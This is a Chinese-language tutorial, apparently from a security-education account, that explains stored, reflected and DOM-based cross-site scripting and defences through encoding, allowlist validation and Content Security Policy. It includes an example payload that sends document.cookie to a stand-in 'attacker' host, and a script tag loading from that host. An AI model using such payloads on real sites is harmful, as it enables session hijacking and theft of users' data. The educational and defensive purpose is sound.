1
免责声明
本号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如有侵权请联系小编处理。
2
内容速览
Cross-site scripting(XSS)是一种能够在他人浏览器中执行恶意 JavaScript代码的代码注入攻击。
攻击者不需要直接接触受害者。他可以直接利用受害者访问的网站的漏洞来让恶意代码在其浏览器中执行。对于受害者的浏览器来说,恶意的 JavaScript 代码表现的就像是网站合法的一部分,而网站的行为也完全不像是攻击者的帮凶。
具体可以参考之前写过的XSS相关文章:超详细XSS跨站脚本漏洞总结、干货笔记!一文讲透XSS(跨站脚本)漏洞
让攻击者能在受害者浏览器上运行恶意代码的唯一方式就是在受害者要访问的网站中的某一个页面里注入代码。这会发生在网站直接在它的页面中包含加载了用户输入,这样攻击者就可以在页面中插入字符串,这段字符串会被受害者的浏览器当做代码执行。
在下面的例子中,一个简单的服务器脚本被用来展示网站上最新的评论:
print "<html>"
print "Latest comment:"
print database.latestComment
print "</html>"
这段脚本假设评论仅包含文本。然而,用户输入被直接加载了,攻击者可以提交这样的评论:<script>...<script>
。任何用户访问页面都会接收到下列回应:
<html>
Latest comment:
<script>...</script>
</html>
当用户浏览器加载了页面后,它将执行包含在<script>
标签中的任意 JavaScript 脚本。攻击者已经成功地实施了攻击。
起初,能在受害者的浏览器中执行 JavaScript 脚本看起来并不是那么恶意。毕竟 JavaScript 运行在一个及其受限的环境,很难访问用户文件和操作系统。事实上,你可以打开你的浏览器的控制台(console)并执行任何 JavaScript 代码,你会发现你很难对你的计算机造成什么实质的损害。
然而,JavaScript 代码也是有可能变得很有恶意的,尤其是当你考虑下列情况时:
XMLHttpRequest
和其他机制来发送包含任何内容的 HTTP 请求到任意目的地。在其他用户的浏览器上执行任意 JavaScript 代码允许攻击者实施下列攻击:
document.cookie
来访问受害者与网站相关的 cookies,将它们发送到自己的服务器,并用它们来获取像 session IDs 之类的敏感信息。addEventListener
来登记一个键盘事件监听器,然后发送所有的用户按键记录到他自己的服务器,可能会记录像密码和银行卡号这样的敏感信息。尽管这些攻击有明显的不同,但它们都有一个关键的相似点:因为攻击者将代码注入了网站服务器的页面中,这些恶意代码将会在网站的上下文中运行。这意味着这些恶意代码会被网站当成普通代码对待:它可以访问受害者在该网站上的数据(例如:Cookies)和在URL中显示的主机名。无论出于什么目的和企图,恶意代码都会被当做网站上合法的一部分对待,可以做这个网站能做的任何事情。
这个事实强调了一个关键问题:
如果一个攻击者可以利用你的网站在其他人的浏览器上执行任意 JavaScript 代码,你的网站和用户的安全都是存在问题的。
为了强调这一点,教程中的一些示例将会适用<script>...</script>
省去恶意代码的细节。这表明能被注入代码的地方才是问题所在,而不是被执行的恶意代码。
在我们描述 XSS 攻击的细节前,我们需要定义 XSS 攻击中涉及到的角色。事实上,一次 XSS 攻击涉及3个角色:网站、受害者和攻击者 。网站提供 HTML 页面给请求它的用户。
在这个例子中,我们假设攻击者的最终目标是通过利用网站的 XSS 漏洞来偷窃受害者的 cookies。这可以通过在受害者的浏览器中执行下列代码实现:
<script>
window.location='http://attacker/?cookie='+document.cookie
</script>
这段代码将用户浏览器导航到一个不同的 URL,触发一个到攻击者服务器的 HTTP 请求。这段 URL 将受害者的 cookies 作为参数包含其中,这样攻击者就能在请求到达时获取到 cookies。一旦攻击者得到了 cookies,他就可以利用它来伪装成受害者,开展后续攻击。
从现在开始,上面这段代码将被称为恶意字符串或恶意脚本。
下面的图展示了攻击者是如何开展示例攻击的:
尽管 XSS 攻击的目标总是在受害者的浏览器中执行一些恶意代码,完成这个目标的方式还是会有些许区别。XSS 攻击通常被分为下面三类:
在反射式 XSS 攻击中,恶意字符串是受害者向网页发出的 request 的一部分。网站之后会将包含恶意字符串的响应返回给用户。下图展示了该过程:
1.攻击者构造了一个包含恶意字符串的 URL 并发送给受害者。
2.受害者被欺骗,向网站发送 URL。
3.网站从 URL 中加载恶意代码作为响应。
4.受害者浏览器执行响应中的恶意代码,发送受害者的 cookies 到攻击者的服务器。
首先反射式 XSS 看起来危害更小,因为它要求受害者自己来发送包含恶意字符串的请求。因为没有人愿意攻击他自己,这看起来没办法实施这种攻击。
然而事实证明,至少有两种方式会导致受害者自己启动反射式 XSS 来攻击他自己。
基于 DOM 的 XSS 是持久化和映射 XSS 的一个变种。在基于 DOM 的 XSS 攻击中,恶意字符串并没有被受害者的浏览器解析,直到网站的合法 JavaScript 代码被执行。下图展示了基于 DOM 的 XSS 攻击场景:
1.攻击者构造了一个包含恶意字符串的 URL 并发送给受害者。
2.受害者被攻击者欺骗,向网站发送 URL。
3.网站收到了请求,但并没有将恶意字符串包含在响应中。
4.受害者的浏览器执行了响应中的合法代码,造成恶意脚本被插入页面。
5.受害者的浏览器执行了页面中的恶意脚本,发送了受害者的 cookies 到攻击者的服务器。
在之前的关于持久化和映射的 XSS 攻击的例子中,服务器在页面中插入了恶意脚本,这将会作为发送给受害者的响应。当受害者的浏览器接收到响应后,它会把恶意脚本作为页面合法内容的一部分并自动在页面加载其它脚本的时候执行它。
然而在基于 DOM 的 XSS 攻击示例中,没有恶意代码被插入到页面中;唯一被自动执行的脚本是页面本身的合法脚本。问题在于合法脚本会直接利用用户输入在页面中添加 HTML 代码。因为恶意字符串是通过innerHTML
插入页面的,它将会被解析成 HTML,造成恶意脚本被执行。
不同之处很微妙但也很重要:
在之前的例子中,JavaScript 并不是必要的;服务器会自己生成所有的 HTML。如果服务端的代码是没有漏洞的,网站就不会受到 XSS 攻击。
然而,随着 Web 应用变得更加高级,HTML 代码通过客户端的 JavaScript 代码生成而不是通过服务端。任何时候内容都需要在不刷新整个页面的情况下改变,这种更新必须通过 JavaScript 执行。更为具体的,这种情况下,页面是通过一个 AJAX 请求后更新的。
这意味着 XSS 漏洞不仅会出现在你的网站的服务端代码,也会出现在客户端的 JavaScript 代码。因此,即使你的服务端代码是完全安全的,客户端代码也可能会因为在页面被加载后执行了包含用户输入的 DOM 更新而变得不安全。如果这种情况发生了,客户端代码就会在服务端没有问题的情况下触发 XSS 漏洞。
在基于 DOM 的 XSS 攻击中有一个非常特殊的地方,那就是恶意字符串从开始就没有被发送给服务端。浏览器没有发送恶意代码,所以服务器也就没有办法利用服务端代码进行检查。然而,客户端代码会用不安全的方式来处理它,从而导致 XSS 漏洞。
XSS 攻击实质上是一种代码注入:用户输入被错误的解释成了恶意程序代码。为了防止这种类型的代码注入,安全输入的处理是有必要的。对于 Web 开发者来说,有两种基本的方式来进行安全输入检查:
在网页中,用户输入可能会插入的地方会有许多上下文。对于每一种上下文,都必须遵循特定的规则使得用户输入不会打破自己的上下文和被解释成恶意代码。
在上面提到的上下文中,用户输入如果没有经过编码或验证就直接插入将会使得出现 XSS 漏洞的概率大幅提高。攻击者可以通过简单地插入分隔符并在后面加入恶意代码来进行注入攻击。
例如,网站如果直接将用户输入作为 HTML 属性插入,攻击者便能够通过在输入起始处输入引号来注入恶意代码,如下所示:
这是可以通过简单地删除所有用户输入中的引号避免的,仅仅在这种上下文中。如果同样的输入被注入到另一处上下文,结尾分隔符可能会改变,注入就很难成功了。因此,安全输入检查往往需要根据用户输入在哪被注入来进行定制。
直观上看,好像所有的 XSS 问题都可以通过在网站接收到用户输入时对其进行编码或验证来防范。通过这种方式,任何恶意字符串都应该在被包含进页面时被过滤了。
就像上文提到的,问题在于,用户输入可以被插入页面的几处上下文中。没有很轻松的方法来判断什么时候用户输入会出现在它最终被注入的上下文中,而同样的用户输入通常需要被插入到不同的上下文中。依赖入站输入检查来预防 XSS 是非常脆弱的方法,并会导致一系列问题。(已经被废弃的 PHP 特性"magic quotes" 就是一个典型的例子。)
然而出站输入处理应该成为你对抗 XSS 的基本方法,因为它会考虑到用户输入将被插入处的具体上下文。而入站验证仍然可以成为第二道防线,我们会在之后讨论。
在大多数现代的网站应用中,用户输入会同时被服务端和客户端处理。为了预防所有类型的 XSS 攻击,安全输入检查必须同时在客户端和服务端进行。
编码是一种转义用户输入的操作,使得浏览器仅仅解释数据而非代码。在 web 开发中最常使用的编码方式是 HTML 转义,这将把字符 ’<‘ 和 '>'分别转义成 ‘<’ 和 ‘>’ 。
下面的伪代码展示了用户输入时如何通过 HTML 转义编码并通过服务端脚本插入页面的:
print "<html>"
print "Latest comment: "
print encodeHtml(userInput)
print "</html>"
如果用户输入时字符串 <strong/>
<html>
Latest comment:
<script>...</script>
</html>
因为有特殊含义的字符串都被转义了,浏览器将不会解释执行任何用户输入。
对客户端代码进行编码时,使用的语言一般是 JavaScript,它有内置函数来对不同上下文的数据编码。
对服务端代码进行编码时,你依赖服务端使用的语言或框架提供的函数。因为有大量的语言和框架可用,本篇教程将不会覆盖任何特定服务端语言或框架的编码细节。然而,当你在写服务端代码时,和客户端的 JavaScript 相似的编码函数是有用的。
当在客户端使用 JavaScript 编码用户输入时,有几种内置方法和属性可以通过上下文敏感的方式自动编码所有数据:
上文提到的最后一个上下文(JavaScript 值)没有被包含进该表中,因为 JavaScript 并没有提供内置的方法来编码被包含进 JavaScript 源代码的数据。
即使有编码,仍然有可能将恶意字符串注入一些上下文中。一个典型的例子就是用户输入被用来提供 URLs,例如下面这个例子:
document.querySelector('a').href = userInput
即使赋值给 ‘href’ 属性会自动编码,使得所赋的值仅仅是一个属性值,这将无法阻止攻击者插入一段“javascript:”开头的 URL。当该链接被点击后,嵌入其中的 javascript 代码将会执行。
当你真的想让用户定义部分页面代码时,编码是一个不充分的解决方案。例如在用户的个人主页中,用户可以自定义 HTML。如果自定义的 HTML 被编码了,个人主页就只能包含纯文本。
在这种情况下,编码就需要验证来补充,这就是我们接下来会描述的。
验证是一种过滤用户输入的操作,它将恶意部分删除,保留必要的部分。在 web 开发中最常使用的验证方式之一就是允许一些 HTML 元素(例如 <em> 和 <strong>)禁止其它的(例如 <script>)。
有两种主要的验证方法,它们在实现上有些区别:
直观上看,通过规定不能在用户输入中出现的内容来定义一个禁止模板是很合适的验证方式。如果一个字符串匹配了这个模板,它将会被标记为不可用。例如允许用户提交除了javacript::
之外的任何协议。这种策略称之为黑名单。
然而,黑名单有两个主要的缺点:
onmousewheel
属性被引入前使用的黑名单将无法阻止攻击者利用该属性来进行 XSS 攻击。这个缺点在 web 开发中尤其显著,因为它由多种技术组成并且经常更新。
因为这些缺点,将黑名单作为分类策略是非常不合适的。白名单通常是一个更安全的方法。白名单本质上和黑名单相反,不同于定义一个禁止模板,白名单定义一个认可模板,将不匹配模板的输入认定为非法的。
不同于之前的黑名单的例子,白名单的例子将允许用户只能提交包含 http:
和 https:
协议的URLs。如果有javascript:
协议,这种方法会自动标记 URLs 非法,也包括"Javascript:“或"javascript:”。
和黑名单相比,白名单有下列两点好处:
http:
和https:
协议。这很简单,也能满足大部分用户的需求。title
属性出现在 HTML 元素中,即使在引入了 HTML5 中的 onmousewheel
属性,也是安全的。当输入被标记为无效时,下列的两个动作之一将会执行:
这两种方法中,“拒绝”是实现起来最简单的方法。也就是说,“清除”是更有用的,因为它允许来自用户的大范围的输入。例如,用户提交了身份证号码,一个“清除”线程会删除所有非数字字符来防止代码注入,同时允许用户在输入时选择是否加入连字符。
如果你决定实现“清除”方法时,你必须确保“清除”线程自身没有使用黑名单方法。例如,URL “Javascript:…”,当使用白名单方式确认为无效时,将被传递给“清除”线程简单地删除所有“javascript:”实例。出于这个考虑,在任何时候都应该考虑使用良好测试过的库和框架用于“清除”。
编码应该是你防御 XSS 的第一道防线,因为它的目的就是中和数据使它无法被解释成代码。在某些情况下,编码需要被验证补全。编码和验证应该用在出站的时候,因为只有当输入被加载进页面的时候,你才知道哪段上下文需要被编码和验证。
作为第二道防线,你应该使用入站验证来清除或拒绝明显无效的数据,例如使用javascript:
协议的链接。虽然它无法提供完善的安全,但能为由于错误和异常导致的出站编码和验证无法执行的情况提供有效预警。
如果这两条防御能一直保持使用,你的网站将能够抵御 XSS 攻击。然而,由于创建和维护一个完整网站的复杂性,仅仅使用安全输入处理来完成完全的保护是非常困难的。而作为第三道防线,你应该充分利用内容安全策略(CSP)。
仅仅使用安全输入检查防御 XSS 攻击的缺点在于即使一个很小的安全疏漏都会对你的网站造成危害。最近被称为内容安全策略(CSP)的网站标准可以缓解这种风险。
CSP 被用来约束浏览器查看你的页面,使得浏览器只能使用从信任源下载的资源。该资源可以是一段脚本,一个样式表,一张图片或者一些其它类型的被页面引用的文件。这意味着攻击者即使攻击成功在你的网站插入了恶意内容,CSP 可以防止它被执行。
CSP 可以用来执行下列规则:
eval()
将不会被执行。在下面的例子中,攻击者已经成功在页面中注入了恶意代码:
<html>
Latest comment:
<script src="http://attacker/malicious‑script.js"></script>
</html>
在一份合理定义的 CSP 策略的保护下,浏览器将不会加载并执行maliciout-script.js
。因为http://attacter/
不在 信任源集合中。尽管在这个示例中,网站没能成功处理用户输入,CSP 策略避免了这个漏洞造成任何实质性的伤害。
默认情况下,浏览器不执行 CSP。为了让 CSP 在你的网站上执行,页面必须提供额外的 HTTP 头:Content-Security-Policy。任何提供了这种 http 头的页面将根据加载它的浏览器执行 CSP,浏览器本身需要支持CSP。
因为安全策略在每一次 HTTP 响应时都被发送,对服务器来说可能需要逐页设置。可以通过在每份响应中提供同样的 CSP 头来将同样的策略应用在整个网站上。
CSP头的值是一段定义了一个或多个在你的网站上生效的安全策略的字符串。字符串的语法将在下文描述。
注意:本节中的示例 HTTP 头出于清晰的目的用到了新行和缩进;这将不会出现在真实的 HTTP 头中。
CSP头的语法如下:
Content‑Security‑Policy:
directive source‑expression, source‑expression, ...;
directive ...;
...
语法由两个元素组成:
可以用在 CSP 头中的 "directives"如下:
connect‑src
font‑src
frame‑src
img‑src
media‑src
object‑src
script‑src
style‑src
除此之外,还有一个特殊的"directive" default-src
可以用来为所有没有包含在 CSP 头中的"directive"提供默认值。
"source expressions"的语法如下:
protocol://host‑name:port‑number
主机名可以用”.“开头,这意味着被提供的主机名的任何子域名都是允许的。同理,端口号也可以是”“,这表示所有的端口号都是被允许的。额外地,协议和端口号也可以省略。最后,协议也可由它自身给出,这使得所有资源通过 HTTPs 加载成为可能。
除了上述的语法之外,"source expression"可以选择有特殊意义的四个关键字之一(包括引号):
eval()
。注意,在 CSP 使用期间,内联资源和
eval()
都是默认不允许的。使用’unsafe-inline’和’unsafe-eval’是唯一允许使用它们的方式。
Content‑Security‑Policy:
script‑src 'self' scripts.example.com;
media‑src 'none';
img‑src *;
default‑src 'self' http://*.example.com
在这个策略实例中,页面有下述限制:
`scripts.example.com
上下载。example.com
的子域下载。直到2013年6月,内容安全协议都是 W3C 推荐的。它已经由浏览器供应商实现,但少部分还是浏览器特定的。特别地,在不同的浏览器中使用,HTTP 头是不同的。现在,可以通过查询你的网站将要支持的浏览器文档来获取更多信息。
XSS 攻击有三种主要类型:
预防 XSS 攻击的最重要的方式就是进行安全输入检查。